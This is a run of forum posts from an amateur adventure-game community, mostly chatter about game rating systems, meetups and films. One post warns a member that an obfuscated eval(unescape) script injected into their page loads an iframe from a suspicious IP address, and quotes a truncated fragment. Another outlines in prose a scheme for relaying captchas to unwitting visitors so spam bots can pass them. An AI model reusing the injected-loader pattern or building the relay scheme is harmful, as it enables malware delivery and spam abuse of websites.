Honestly, Tuomas, if you're so afraid of people being able to persuade you out of doing this, you may not be as motivated to do this as you may think. If you really want to do this, then do it, but at least stand up for your own decision.

Then again, your plan really does seem ill-considered and if I were your friend or family I too would try to persuade you not to do this.

Also, same "virus" warning here too:

Detected As: Exploit-IFrame

There's a bit of JavaScript at the end of your page, after the closing html tag:

<script>eval(unescape("%77%69%6e%64[more stuff I cut out to not break the forum layout]%29")); </script>

This script injects an iframe pointing to http://81.29.241.70/new/counter.php?3341530786f (where the number is randomized).

I can't open that page right now to see what it contains, but this does look highly suspicious.

Anyway, congratulations, man!

Worst one?

"I'm the creator of AGS"

I still made out with him though.

I can pay the full amount as well. In fact, I just did.

Sure, I'm interested, assuming work doesn't rear its ugly head again with another conflicting deadline. Shouldn't be a problem this year.

Automatically browse your page, take a screenshot of the captcha in that browsing session, save it on their own server, and keep the browsing session alive for X minutes. When some unwitting person opens a link in one of their spam, take one of the most recently copied screenshots and show that to them and have them type it in. When they do, take the answer they gave and route it to your automatic screenshot program, which still has the session where they got the screenshot from open and still has time to use the answer from the dimwit. Wouldn't take very long to create.

But but but it's discrimination against colour blinded people!

Yes, get cracking, Pete!

Put me down for likely, also. I want to make it to at least one Mittens. Those fancy titles under your nicks look so excluding.

You're still newbie of the year, Evenwolf.

As for my first post, I can't really be sure, but I think I was telling Phil Reed to hurry up with a sequel to Larry Vales 2.

How else do you think CJ could make AGS?

Andail: The panel is already filled you say. Does this also mean that the rating system you proposed is now final, or is it still open for debate? It might be a good idea to use a system that people can agree on, before we get stuck with one for years.

I also really dislike the proposed clinical checklist system. It may be suitable for commercial games where all aspects of a game can be argued are equally worthy since the developers have enough people working on it, but who are we kidding? We're making amateur adventure games, mostly on our own. Any game I made would only get 3 bluecups at best, or more likely a 2, simply because of the art and music criteria. In fact, that seems to apply to almost every single AGS game ever made.

We're not making commerical games. If someone makes a brilliant game with pedestrian graphics I would far prefer it got a rating of "Highly recommended - has an engaging plot, believable characters, and stimulating puzzles. The graphics may not be up to everyone's liking though." instead of "2 bluecups" or "3 bluecupes" which seems to be what the proposed system would result int.

My vote goes to a rating system of 3 levels: Not recommended, recommended, and highly recommended. Including a short description of the reasons why, except perhaps for the not recommended option.

If it helps validate your opinions, if pressed to give a star rating (of 1 to 5) I'd have given the books 5 stars and the movie 3. Perfectly enjoyable, though not really comparable.

I like both the original radio series, the books, and the recent movie. Should I be taken out back and shot immediately or do I get a last wish?

Yes, I admit the movie isn't as good as the radio series or the books, but really, what was so bad about it?

If it's not too late, I may be able to make a showing. I'll add in a request for the time off at work.

Even using the most popular definition of abandware, it isn't abandonware. Lucasarts are still selling it.

Just use the quick reply thing at the bottom of a page. You'll have your tab+enter working just fine there. Watch me....

Robert Redford Saves the Day 1, 2, and 3, and Larry Vales 1 and 2 at least.

Eric:
WTF is a sixaxis? Is it as naughty as it sounds?

It's Sony's Emmy award winning game controller supporting a full six degrees of freedom.

That's great! I'm glad I waited and bought a PS3 instead of a Wii.

Will the games for AGS PS3 be in higher resolutions? I didn't fork out good money for a HDTV just to play low resolution games on it. I want 1080p, or at least 720p minimum.
